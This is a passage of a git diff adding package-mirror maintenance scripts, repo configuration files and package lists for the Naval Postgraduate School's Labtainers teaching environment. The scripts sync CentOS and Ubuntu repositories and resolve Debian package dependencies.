= dependency.split('|')[0] + if "(" in dependency: + dependency = dependency.split('(')[0] + dependency = dependency.strip() + if dependency not in finaldeplist: + finaldeplist.append(dependency) + # Recursive here + found = False + for listname in LIST: + pkginfo = pkgsdict[listname] + packages = pkginfo.GetPackages() + for name in packages: + if name == dependency: + #logger.INFO("package filename is %s" % packages[name].fname) + #logger.INFO("package dependencies is %s" % str(packages[name].deplist)) + found = True + break + if found: + break + if not found: + logger.WARNING("Package (%s) not found" % dependency) + else: + collect_dependencies(packages[dependency].deplist, finaldeplist, checkdeplist, logger) + checkdeplist.append(dependency) + +def collect_flist(finaldeplist, finalflist, logger): + for dependency in finaldeplist: + found = False + for listname in LIST: + pkginfo = pkgsdict[listname] + packages = pkginfo.GetPackages() + for name in packages: + if name == dependency: + #logger.INFO("package filename is %s" % packages[name].fname) + #logger.INFO("package dependencies is %s" % str(packages[name].deplist)) + finalflist.append(packages[name].fname) + found = True + break + if found: + break + if not found: + logger.WARNING("Package (%s) not found" % dependency) + +def main(): + if len(sys.argv) != 2: + sys.stderr.write("Usage: AddPackage.py \n") + sys.exit(1) + + if os.geteuid() != 0: + sys.stderr.write("This script requires root privileges\n") + sys.exit(1) + + # Remove and re-create TMPDIR + os.system("rm -rf %s" % TMPDIR) + os.system("mkdir %s" % TMPDIR) + + packagename = sys.argv[1] + ParsePackages.logger = AddPkgLogging.AddPkgLogging("addpackage.log") + ParsePackages.logger.INFO("AddPackage - package name is (%s)" % packagename) + #ParsePackages.logger.INFO("packagename is (%s)" % packagename) + #ParsePackages.logger.INFO("UBUNTUHOME is (%s)" % UBUNTUHOME) + #ParsePackages.logger.INFO("DISTHOME is (%s)" % DISTHOME) + + # Pre-parse all "Packages" file + for listname in LIST: + packagefile = "%s/%s" % (DISTHOME,listname) + pkginfo = ParsePackages.ParsePackages(packagefile) + pkgsdict[listname] = pkginfo + + found = False + initiallist = [] + finaldeplist = [] + checkdeplist = [] + finalflist = [] + for listname in LIST: + pkginfo = pkgsdict[listname] + packages = pkginfo.GetPackages() + for name in packages: + if name == packagename: + #ParsePackages.logger.INFO("package filename is %s" % packages[name].fname) + #ParsePackages.logger.INFO("package dependencies is %s" % str(packages[name].deplist)) + for dependency in packages[name].deplist: + if "|" in dependency: + dependency = dependency.split('|')[0] + if "(" in dependency: + dependency = dependency.split('(')[0] + dependency = dependency.strip() + if dependency not in initiallist: + initiallist.append(dependency) + finalflist.append(packages[name].fname) + found = True + # Do not break here, get all names that starts with that packagename + #break + if found: + break + if found: + # Recursively collect dependencies + collect_dependencies(initiallist, finaldeplist, checkdeplist, ParsePackages.logger) + ParsePackages.logger.INFO("final dependencies list is (%s)" % finaldeplist) + ParsePackages.logger.INFO("final filename list is (%s)" % finalflist) + else: + ParsePackages.logger.ERROR("Package (%s) is not found in xenial or xenial-updates" % packagename) + + # Collect filenames + collect_flist(finaldeplist, finalflist, ParsePackages.logger) + + process_filename_list(finalflist) + +if __name__ == '__main__': + sys.exit(main()) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/pkg-mirrors/AddPkgLogging.py b/modules/utilities/unix/labtainers/files/Labtainers-master/pkg-mirrors/AddPkgLogging.py new file mode 100755 index 000000000..90af07f1d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/pkg-mirrors/AddPkgLogging.py @@ -0,0 +1,88 @@ +#!/usr/bin/env python +''' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +''' + +import inspect +import logging +import os +import sys +import re + +# FILE_LOG_LEVEL and CONSOLE_LOG_LEVEL +# valid levels are: DEBUG, INFO, WARNING or ERROR +# specifies the log level to file and console respectively +# log to file logging.INFO and above +file_log_level = logging.DEBUG +# log to console logging.WARNING and above +console_log_level = logging.WARNING + +class AddPkgLogging(): + def __init__(self, logname): + #print "filename is (%s)" % logname + + self.logger = logging.getLogger(logname) + self.logger.setLevel(file_log_level) + formatter = logging.Formatter('[%(asctime)s - %(levelname)s : %(message)s') + + file_handler = logging.FileHandler(logname) + file_handler.setLevel(file_log_level) + file_handler.setFormatter(formatter) + + console_handler = logging.StreamHandler() + console_handler.setLevel(console_log_level) + console_handler.setFormatter(formatter) + + self.logger.addHandler(file_handler) + self.logger.addHandler(console_handler) + + def DEBUG(self, message): + func = inspect.currentframe().f_back + #print "func.f_code.co_name is %s" % func.f_code.co_name + #print "func.f_code.co_filename is %s" % func.f_code.co_filename + #print "func.f_lineno is %s" % func.f_lineno + filename = os.path.basename(func.f_code.co_filename) + lineno = func.f_lineno + funcname = func.f_code.co_name + linemessage = '%s:%s - %s() ] %s' % (filename, lineno, funcname[:15], message) + self.logger.debug(linemessage) + + def INFO(self, message): + func = inspect.currentframe().f_back + #print "func.f_code.co_name is %s" % func.f_code.co_name + #print "func.f_code.co_filename is %s" % func.f_code.co_filename + #print "func.f_lineno is %s" % func.f_lineno + filename = os.path.basename(func.f_code.co_filename) + lineno = func.f_lineno + funcname = func.f_code.co_name + linemessage = '%s:%s - %s() ] %s' % (filename, lineno, funcname[:15], message) + self.logger.info(linemessage) + + def WARNING(self, message): + func = inspect.currentframe().f_back + #print "func.f_code.co_name is %s" % func.f_code.co_name + #print "func.f_code.co_filename is %s" % func.f_code.co_filename + #print "func.f_lineno is %s" % func.f_lineno + filename = os.path.basename(func.f_code.co_filename) + lineno = func.f_lineno + funcname = func.f_code.co_name + linemessage = '%s:%s - %s() ] %s' % (filename, lineno, funcname[:15], message) + self.logger.warning(linemessage) + + def ERROR(self, message): + func = inspect.currentframe().f_back + #print "func.f_code.co_name is %s" % func.f_code.co_name + #print "func.f_code.co_filename is %s" % func.f_code.co_filename + #print "func.f_lineno is %s" % func.f_lineno + filename = os.path.basename(func.f_code.co_filename) + lineno = func.f_lineno + funcname = func.f_code.co_name + linemessage = '%s:%s - %s() ] %s' % (filename, lineno, funcname[:15], message) + self.logger.error(linemessage) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/pkg-mirrors/CentOS-Base.repo b/modules/utilities/unix/labtainers/files/Labtainers-master/pkg-mirrors/CentOS-Base.repo new file mode 100644 index 000000000..fdf9acada --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/pkg-mirrors/CentOS-Base.repo @@ -0,0 +1,47 @@ +# CentOS-Base.repo +# +# The mirror system uses the connecting IP address of the client and the +# update status of each mirror to pick mirrors that are updated to and +# geographically close to the client. You should use this for CentOS updates +# unless you are manually picking other mirrors. +# +# If the mirrorlist= does not work for you, as a fall back you can try the +# remarked out baseurl= line instead. +# +# +[base] +name=CentOS-$releasever - Base +#mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=os&infra=$infra +mirrorlist=http://mirrorlist.centos.org/?release=7&arch=$basearch&repo=os +#baseurl=http://mirror.centos.org/centos/$releasever/os/$basearch/ +gpgcheck=1 +gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7 +#released updates + +[updates] +name=CentOS-$releasever - Updates +#mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=updates&infra=$infra +mirrorlist=http://mirrorlist.centos.org/?release=7&arch=$basearch&repo=updates +#baseurl=http://mirror.centos.org/centos/$releasever/updates/$basearch/ +gpgcheck=1 +gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7 + +#additional packages that may be useful +[extras] +name=CentOS-$releasever - Extras +#mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=extras&infra=$infra +mirrorlist=http://mirrorlist.centos.org/?release=7&arch=$basearch&repo=extras +#baseurl=http://mirror.centos.org/centos/$releasever/extras/$basearch/ +gpgcheck=1 +gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7 + +#additional packages that extend functionality of existing packages +[centosplus] +name=CentOS-$releasever - Plus +#mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=centosplus&infra=$infra +mirrorlist=http://mirrorlist.centos.org/?release=7&arch=$basearch&repo=centosplus +#baseurl=http://mirror.centos.org/centos/$releasever/centosplus/$basearch/ +gpgcheck=1 +enabled=0 +gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/pkg-mirrors/CheckHierarchy.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/pkg-mirrors/CheckHierarchy.sh new file mode 100755 index 000000000..a77a5a01b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/pkg-mirrors/CheckHierarchy.sh @@ -0,0 +1,126 @@ +#!/usr/bin/env bash +# +# Filename: CheckHierarchy.sh +# +# Assumptions: +# 1. /var/www/html/ubuntumirror.uc.nps.edu/ubuntu has been created + + +if [[ $EUID -ne 0 ]] +then + echo "This script must be run as root" + exit 1 +fi + +UBUNTUBASE="/var/www/html/ubuntumirror.uc.nps.edu/ubuntu" +TMPDIR="/tmp/.checkhierarchy" +CURRENTDIR=`pwd` + +/usr/bin/rm -rf $TMPDIR +/usr/bin/mkdir -p $TMPDIR + +if [ ! -d "$UBUNTUBASE" ] +then + echo "$UBUNTUBASE DOES NOT exist" + exit 1 +fi + +PATH="" +RESULTSTATUS="OK" +TOP=("xenial" "xenial-updates") +VARIANT=("main" "restricted" "universe" "multiverse") +ARCHDEP=("binary-amd64" "i18n" "dep11") +for i in "${TOP[@]}"; +do + for j in "${VARIANT[@]}"; + do + for k in "${ARCHDEP[@]}"; + do + DIRNAME="$UBUNTUBASE/dists/$i/$j/$k" + /usr/bin/rm -rf $DIRNAME + done + done +done +for i in "${TOP[@]}"; +do + for j in "${VARIANT[@]}"; + do + for k in "${ARCHDEP[@]}"; + do + DIRNAME="$UBUNTUBASE/dists/$i/$j/$k" + PARENTPATH="$UBUNTUBASE/dists/$i/$j" + TMPDIRPATH="$TMPDIR/us.archive.ubuntu.com/ubuntu/dists/$i/$j/$k" + PATH="http://us.archive.ubuntu.com/ubuntu/dists/$i/$j/$k" + if [ ! -d "$DIRNAME" ] + then + echo "DIRNAME ($DIRNAME) DOES NOT exist" + cd $TMPDIR + /usr/bin/mkdir -p $PARENTPATH + /usr/bin/wget -r -l 1 $PATH + /usr/bin/mv $TMPDIRPATH $PARENTPATH + cd $CURRENTDIR + /usr/bin/rm -rf $TMPDIR + /usr/bin/mkdir -p $TMPDIR + fi + done + done +done +for i in "${TOP[@]}"; +do + for j in "${VARIANT[@]}"; + do + PACKAGENAME="$UBUNTUBASE/dists/$i/$j/binary-amd64/Packages" + PACKAGENAMEGZ="$UBUNTUBASE/dists/$i/$j/binary-amd64/Packages.gz" + PACKAGENAMEXZ="$UBUNTUBASE/dists/$i/$j/binary-amd64/Packages.xz" + PATH="http://us.archive.ubuntu.com/ubuntu/dists/$i/$j/binary-amd64" + if [ ! -f "$PACKAGENAME" ] + then + echo "PACKAGENAME ($PACKAGENAME) DOES NOT exist" + if [ -f "$PACKAGENAMEGZ" ] + then + cd $TMPDIR + /usr/bin/cp $PACKAGENAMEGZ $TMPDIR/Packages.gz + /usr/bin/gzip -d $TMPDIR/Packages.gz + /usr/bin/mv $TMPDIR/Packages $PACKAGENAME + cd $CURRENTDIR + /usr/bin/rm -rf $TMPDIR + /usr/bin/mkdir -p $TMPDIR + else + if [ -f "$PACKAGENAMEXZ" ] + then + cd $TMPDIR + /usr/bin/cp $PACKAGENAMEGZ $TMPDIR/Packages.xz + /usr/bin/unxz $TMPDIR/Packages.xz + /usr/bin/mv $TMPDIR/Packages $PACKAGENAME + cd $CURRENTDIR + /usr/bin/rm -rf $TMPDIR + /usr/bin/mkdir -p $TMPDIR + else + RESULTSTATUS="NOTOK" + break + fi + fi + fi + done + if [ "$RESULTSTATUS" == "NOTOK" ] + then + break + fi +done +if [ "$RESULTSTATUS" == "OK" ] +then + for j in "${VARIANT[@]}"; + do + DIRNAME="$UBUNTUBASE/pool/$j" + PATH="$UBUNTUBASE/pool/$j" + if [ ! -d "$DIRNAME" ] + then + echo "DIRNAME ($DIRNAME) DOES NOT exist" + RESULTSTATUS="NOTOK" + /usr/bin/mkdir -p $PATH + fi + done +fi + +/usr/bin/chown -R apache:apache $UBUNTUBASE/dists $UBUNTUBASE/pool +echo "RESULTSTATUS is ($RESULTSTATUS)" diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/pkg-mirrors/CreateCentosRepo.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/pkg-mirrors/CreateCentosRepo.sh new file mode 100755 index 000000000..cd7cc0948 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/pkg-mirrors/CreateCentosRepo.sh @@ -0,0 +1,67 @@ +#!/usr/bin/env bash +# +# Filename: CreateCentosRepo.sh +# +# Assumptions: +# 1. Web server httpd is installed and configured with the following lines in /etc/httpd/conf/httpd.conf file: +# +# DocumentRoot "/var/www/html/centosmirror.uc.nps.edu" +# Servername centosmirror.uc.nps.edu +# +# Note: do not include the '#' +# +# 2. /data is on a separate partition with larger disk size +# +# 3. /etc/yum.conf has been modified to add the following line: +# exclude=java*openjdk* kde* kernel* +# Note: do not include the '#' +# This tells to exclude the packages java*openjdk* kde* kernel* +# +# 4. Add the 'CentOS-Base.repo' into /etc/yum.repos.d directory + + +if [[ $EUID -ne 0 ]] +then + echo "This script must be run as root" + exit 1 +fi + +# Install createrepo and yum-utils +yum install createrepo yum-utils + +# Create the directories +mkdir -p /data/html/centosmirror.uc.nps.edu/repos/{base,centosplus,extras,updates} + +reposync --plugins --repoid=base \ + --newest-only --delete --downloadcomps --download-metadata \ + --download_path=/data/html/centosmirror.uc.nps.edu/repos/ + +reposync --plugins --repoid=centosplus \ + --newest-only --delete --downloadcomps --download-metadata \ + --download_path=/data/html/centosmirror.uc.nps.edu/repos/ + +reposync --plugins --repoid=extras \ + --newest-only --delete --downloadcomps --download-metadata \ + --download_path=/data/html/centosmirror.uc.nps.edu/repos/ + +reposync --plugins --repoid=updates \ + --newest-only --delete --downloadcomps --download-metadata \ + --download_path=/data/html/centosmirror.uc.nps.edu/repos/ + +createrepo /data/html/centosmirror.uc.nps.edu/repos/base/ -g comps.xml +createrepo /data/html/centosmirror.uc.nps.edu/repos/centosplus/ +createrepo /data/html/centosmirror.uc.nps.edu/repos/extras/ +createrepo /data/html/centosmirror.uc.nps.edu/repos/updates/ + +# chown -R apache:apache /data/html/centosmirror.uc.nps.edu/repos +chown -R apache:apache /data/html/centosmirror.uc.nps.edu/repos + +# Create and chown /var/www/html/centosmirror.uc.nps.edu +mkdir -p /var/www/html/centosmirror.uc.nps.edu +chown apache:apache /var/www/html/centosmirror.uc.nps.edu + +# Link and chown repos +ln -s /data/html/centosmirror.uc.nps.edu/repos /var/www/html/centosmirror.uc.nps.edu/repos +chown -h apache:apache /var/www/html/centosmirror.uc.nps.edu/repos + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/pkg-mirrors/CreateUbuntuRepo.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/pkg-mirrors/CreateUbuntuRepo.sh new file mode 100755 index 000000000..53f784961 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/pkg-mirrors/CreateUbuntuRepo.sh @@ -0,0 +1,44 @@ +#!/usr/bin/env bash +# +# Filename: CreateUbuntuRepo.sh +# +# Assumptions: +# 1. Web server httpd is installed and configured with the following lines in /etc/httpd/conf/httpd.conf file: +# +# DocumentRoot "/var/www/html/ubuntumirror.uc.nps.edu" +# Servername ubuntumirror.uc.nps.edu +# +# Note: do not include the '#' +# +# 2. /data is on a separate partition with larger disk size +# +# 3. /etc/apt/mirror.list has been modified (see attached mirror.list) +# +# 4. apt-mirror has been installed somehow (either by binary or compiled using source) + +if [[ $EUID -ne 0 ]] +then + echo "This script must be run as root" + exit 1 +fi + +# Remove /var/spool/apt-mirror if exists (create a soft-link instead) +# Create /data/apt-mirror and soft-link /var/spool/apt-mirror +rm -rf /var/spool/apt-mirror +mkdir /data/apt-mirror +ln -s /data/apt-mirror /var/spool/apt-mirror + +# Run apt-mirror +apt-mirror + +# chown -R apache:apache /data/apt-mirror/mirror/us.archive.ubuntu.com +chown -R apache:apache /data/apt-mirror/mirror/us.archive.ubuntu.com + +# Create and chown /var/www/html/ubuntumirror.uc.nps.edu +mkdir -p /var/www/html/ubuntumirror.uc.nps.edu +chown apache:apache /var/www/html/ubuntumirror.uc.nps.edu + +# Link and chown repos +ln -s /data/apt-mirror/mirror/us.archive.ubuntu.com/ubuntu /var/www/html/ubuntumirror.uc.nps.edu/ubuntu +chown -h apache:apache /var/www/html/ubuntumirror.uc.nps.edu/ubuntu + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/pkg-mirrors/DownloadRPMs.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/pkg-mirrors/DownloadRPMs.sh new file mode 100755 index 000000000..bbec79468 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/pkg-mirrors/DownloadRPMs.sh @@ -0,0 +1,9 @@ +#!/bin/bash + +NPS_RPM_ADDITIONS="/etc/nps-rpm-additions" + +while read rpmaddition; +do + echo "Downloading RPM $rpmaddition" + sudo wget $rpmaddition +done < $NPS_RPM_ADDITIONS diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/pkg-mirrors/ParsePackages.py b/modules/utilities/unix/labtainers/files/Labtainers-master/pkg-mirrors/ParsePackages.py new file mode 100755 index 000000000..44177f669 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/pkg-mirrors/ParsePackages.py @@ -0,0 +1,101 @@ +#!/usr/bin/env python +''' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +''' + +import os +import sys +import re +import AddPkgLogging + +''' logger is defined in whatever script that invokes this ''' +global logger + +class ParsePackages(): + def __init__(self, pkgname): + self.pkginfo = {} # dictionary of package's info + self.pkgname = pkgname + + if not os.path.exists(pkgname): + logger.ERROR("Config file %s does not exists!" % pkgname) + sys.exit(1) + + self.parsepkg(pkgname) + + class PackageInfo(): + def __init__(self, fname, deplist): + self.fname = fname + self.deplist = deplist + + def parsepkg(self, pkgname): + keywords = {"package","filename","depends"} + with open(pkgname, "r") as f: + found_pkg = False + previousline_end_with_comma = False + for line in f: + linestrip = line.strip() + if not linestrip or linestrip.startswith("#"): + continue + if not previousline_end_with_comma: + keyval = linestrip.split(':', 1) + key = keyval[0].lower() + if len(keyval) > 1: + val = keyval[1].lower().strip() + else: + val = linestrip.strip() + + if not found_pkg: + # If haven't found the "Package: " skip until found + if key == "package": + found_pkg = True + pkgname = val + fname = "" + deplist = [] + else: + continue + else: + # If found the next "Package: ", store the previous info + if key == "package": + self.pkginfo[pkgname] = self.PackageInfo(fname, deplist) + pkgname = val + fname = "" + deplist = [] + elif key == "filename": + fname = val + elif key == "depends": + dependencies = val.split(',') + for dependency in dependencies: + deplist.append(dependency.strip()) + else: + # Only interested in "package", "filename" and "depends" + continue + + if val.endswith(','): + previousline_end_with_comma = True + else: + previousline_end_with_comma = False + + def GetPackages(self): + return self.pkginfo + + def show_current_settings(self): + bar = "="*80 + print bar + print("Package configuration settings:") + print bar + for name, package in self.pkginfo.items(): + print "package: " + name + for key, val in package.__dict__.items(): + if type(val) == type({}): val = len(val) + print "\t" + str(key) + ": " + str(val) + print "" + +if __name__ == '__main__': + start_config = ParsePackages(*sys.argv[1:]) + start_config.show_current_settings() diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/pkg-mirrors/README.FIRST b/modules/utilities/unix/labtainers/files/Labtainers-master/pkg-mirrors/README.FIRST new file mode 100644 index 000000000..f3e49f0a9 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/pkg-mirrors/README.FIRST @@ -0,0 +1,14 @@ +The NPS Labtainers package mirror is at centosmirror.uc.nps.edu (or ubuntumirror.uc.nps.edu) + +The /etc/nps-apt-additions and nps-rpm-additions identify packages other than the core +packages that are to be included in the NPS mirror. Also see the cron job that ensures the +NPS packages stay up to date. Manually keep the files on the mirror in sync with the files +in this directory. + +The AddPackage.py is in /usr/local/bin, which is dumb because it has to be run as sudo. +Use the full path for now. + +2018-03-15 + The 'AddPackage.py' and corresponding scripts will install package (and its dependency only) + not including the recommends. This means that the user should install package with + the --no-install-recommends option. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/pkg-mirrors/UpdateCentosRepo.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/pkg-mirrors/UpdateCentosRepo.sh new file mode 100755 index 000000000..dbf0701e8 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/pkg-mirrors/UpdateCentosRepo.sh @@ -0,0 +1,59 @@ +#!/usr/bin/env bash +# +# Filename: UpdateCentosRepo.sh +# +# Assumptions: +# 1. Web server httpd is installed and configured with the following lines in /etc/httpd/conf/httpd.conf file: +# +# DocumentRoot "/var/www/html/centosmirror.uc.nps.edu" +# Servername centosmirror.uc.nps.edu +# +# Note: do not include the '#' +# +# 2. /data is on a separate partition with larger disk size +# +# 3. /etc/yum.conf has been modified to add the following line: +# exclude=java*openjdk* kde* kernel* +# Note: do not include the '#' +# This tells to exclude the packages java*openjdk* kde* kernel* +# +# 4. Add the 'CentOS-Base.repo' into /etc/yum.repos.d directory + + +if [[ $EUID -ne 0 ]] +then + echo "This script must be run as root" + exit 1 +fi + +reposync --plugins --repoid=base \ + --newest-only --delete --downloadcomps --download-metadata \ + --download_path=/data/html/centosmirror.uc.nps.edu/repos/ + +reposync --plugins --repoid=centosplus \ + --newest-only --delete --downloadcomps --download-metadata \ + --download_path=/data/html/centosmirror.uc.nps.edu/repos/ + +reposync --plugins --repoid=extras \ + --newest-only --delete --downloadcomps --download-metadata \ + --download_path=/data/html/centosmirror.uc.nps.edu/repos/ + +reposync --plugins --repoid=updates \ + --newest-only --delete --downloadcomps --download-metadata \ + --download_path=/data/html/centosmirror.uc.nps.edu/repos/ + +createrepo /data/html/centosmirror.uc.nps.edu/repos/base/ -g comps.xml +createrepo /data/html/centosmirror.uc.nps.edu/repos/centosplus/ +createrepo /data/html/centosmirror.uc.nps.edu/repos/extras/ +createrepo /data/html/centosmirror.uc.nps.edu/repos/updates/ + +# chown -R apache:apache /data/html/centosmirror.uc.nps.edu/repos +chown -R apache:apache /data/html/centosmirror.uc.nps.edu/repos + +# Chown /var/www/html/centosmirror.uc.nps.edu just in case +chown apache:apache /var/www/html/centosmirror.uc.nps.edu + +# Chown repos just in case +chown -h apache:apache /var/www/html/centosmirror.uc.nps.edu/repos + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/pkg-mirrors/UpdatePackage.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/pkg-mirrors/UpdatePackage.sh new file mode 100755 index 000000000..33ed92f1d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/pkg-mirrors/UpdatePackage.sh @@ -0,0 +1,9 @@ +#!/bin/bash + +NPS_PKG_ADDITIONS="/etc/nps-apt-additions" + +while read pkgaddition; +do + echo "Adding package $pkgaddition" + sudo /usr/local/bin/AddPackage.py $pkgaddition +done < $NPS_PKG_ADDITIONS diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/pkg-mirrors/UploadUpdateCentosPlus.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/pkg-mirrors/UploadUpdateCentosPlus.sh new file mode 100755 index 000000000..3e7bdad4e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/pkg-mirrors/UploadUpdateCentosPlus.sh @@ -0,0 +1,39 @@ +#!/usr/bin/env bash +# +# Filename: UploadUpdateCentosPlus.sh +# +# Performs the following: +# 1. Copies any *.rpm to /data/html/centosmirror.uc.nps.edu/repos/centosplus/Packages +# 2. Run createrepo +# + +if [[ $EUID -ne 0 ]] +then + echo "This script must be run as root" + exit 1 +fi + +# Give usage information +echo "This script is meant to be run after RPMs that are required have been downloaded" +echo "For example: " +echo "1. Go to rpmfind.net and search for leafpad (x86_64)" +echo "2. Save the URL link to /etc/nps-rpm-additions" + +CURRENTDIR=`pwd` +TMPDIR="/tmp/.wgetdownload" +rm -rf $TMPDIR +mkdir -p $TMPDIR + +cd $TMPDIR +/usr/local/bin/DownloadRPMs.sh + +# Copies rpm to centosplus/Packages +cp *.rpm /data/html/centosmirror.uc.nps.edu/repos/centosplus/Packages + +createrepo /data/html/centosmirror.uc.nps.edu/repos/centosplus/ + +# chown -R apache:apache /data/html/centosmirror.uc.nps.edu/repos +chown -R apache:apache /data/html/centosmirror.uc.nps.edu/repos + +cd $CURRENTDIR +rm -rf $TMPDIR diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/pkg-mirrors/internal-repos.repo b/modules/utilities/unix/labtainers/files/Labtainers-master/pkg-mirrors/internal-repos.repo new file mode 100644 index 000000000..c78812427 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/pkg-mirrors/internal-repos.repo @@ -0,0 +1,22 @@ +# File:/etc/yum.repos.d/internal-repos.repo +[base] +name=CentOS Base +baseurl=http://centosmirror.uc.nps.edu/repos/base/ +gpgcheck=0 +enabled=1 +[centosplus] +name=CentOS CentOSPlus +baseurl=http://centosmirror.uc.nps.edu/repos/centosplus/ +gpgcheck=0 +enabled=1 +[extras] +name=CentOS Extras +baseurl=http://centosmirror.uc.nps.edu/repos/extras/ +gpgcheck=0 +enabled=1 +[updates] +name=CentOS Updates +baseurl=http://centosmirror.uc.nps.edu/repos/updates/ +gpgcheck=0 +enabled=1 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/pkg-mirrors/mirror.list b/modules/utilities/unix/labtainers/files/Labtainers-master/pkg-mirrors/mirror.list new file mode 100644 index 000000000..4d817d10d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/pkg-mirrors/mirror.list @@ -0,0 +1,31 @@ +set base_path /var/spool/apt-mirror +set mirror_path $base_path/mirror +set skel_path $base_path/skel +set var_path $base_path/var +set postmirror_script $var_path/postmirror.sh +#set defaultarch i386 +set defaultarch amd64 +set run_postmirror 0 +set nthreads 20 +set limit_rate 100m +set _tilde 0 +# Use --unlink with wget (for use with hardlinked directories) +set unlink 1 +set use_proxy off +###set http_proxy 127.0.0.1:3128 +###set proxy_user user +###set proxy_password password + +deb-amd64 http://us.archive.ubuntu.com/ubuntu/ xenial main restricted +deb-amd64 http://us.archive.ubuntu.com/ubuntu/ xenial-updates main restricted + +###deb-amd64 http://us.archive.ubuntu.com/ubuntu/ xenial universe +###deb-amd64 http://us.archive.ubuntu.com/ubuntu/ xenial-updates universe + +###deb-amd64 http://us.archive.ubuntu.com/ubuntu/ xenial multiverse +###deb-amd64 http://us.archive.ubuntu.com/ubuntu/ xenial-updates multiverse + +###deb-amd64 http://us.archive.ubuntu.com/ubuntu/ xenial-backports main restricted universe multiverse + +clean http://us.archive.ubuntu.com/ubuntu + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/pkg-mirrors/nps-apt-additions b/modules/utilities/unix/labtainers/files/Labtainers-master/pkg-mirrors/nps-apt-additions new file mode 100644 index 000000000..f98b0ca91 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/pkg-mirrors/nps-apt-additions @@ -0,0 +1,22 @@ +wireshark +expect +ghex +hexedit +leafpad +python-pip +dnsmasq +dsniff +libnetfilter-acct1 +libnetfilter-log1 +ulogd +ulogd2 +telnetd +nscd +netwox +lynx +tshark +snort +phpldapadmin +sshpass +libuv1 +nodejs diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/pkg-mirrors/nps-rpm-additions b/modules/utilities/unix/labtainers/files/Labtainers-master/pkg-mirrors/nps-rpm-additions new file mode 100644 index 000000000..76a6cbff6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/pkg-mirrors/nps-rpm-additions @@ -0,0 +1,4 @@ +http://www.rpmfind.net/linux/fedora/linux/releases/26/Everything/x86_64/os/Packages/l/leafpad-0.8.18.1-16.fc26.x86_64.rpm +http://www.rpmfind.net/linux/fedora/linux/releases/26/Everything/x86_64/os/Packages/g/ghex-3.18.3-2.fc26.x86_64.rpm +http://www.rpmfind.net/linux/fedora/linux/releases/26/Everything/x86_64/os/Packages/g/ghex-libs-3.18.3-2.fc26.x86_64.rpm +http://www.rpmfind.net/linux/epel/7/ppc64/Packages/p/python2-pip-8.1.2-5.el7.noarch.rpm diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/pkg-mirrors/npscron.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/pkg-mirrors/npscron.sh new file mode 100755 index 000000000..285ff1dd1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/pkg-mirrors/npscron.sh @@ -0,0 +1,20 @@ +#!/bin/bash + +echo "NPS cron jobs" + +# Update CentOS repo +sudo /usr/local/bin/UpdateCentosRepo.sh + +# Update Ubuntu repo - only main and restricted +sudo /usr/local/bin/apt-mirror + +# Update Ubuntu dists hierarchy - include universe and multiverse +sudo /usr/local/bin/CheckHierarchy.sh + +# Update Packages +sudo /usr/local/bin/UpdatePackage.sh + +# Update CentOS RPMs +sudo /usr/local/bin/UploadUpdateCentosPlus.sh + +exit 0 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/pkg-mirrors/sources.list b/modules/utilities/unix/labtainers/files/Labtainers-master/pkg-mirrors/sources.list new file mode 100644 index 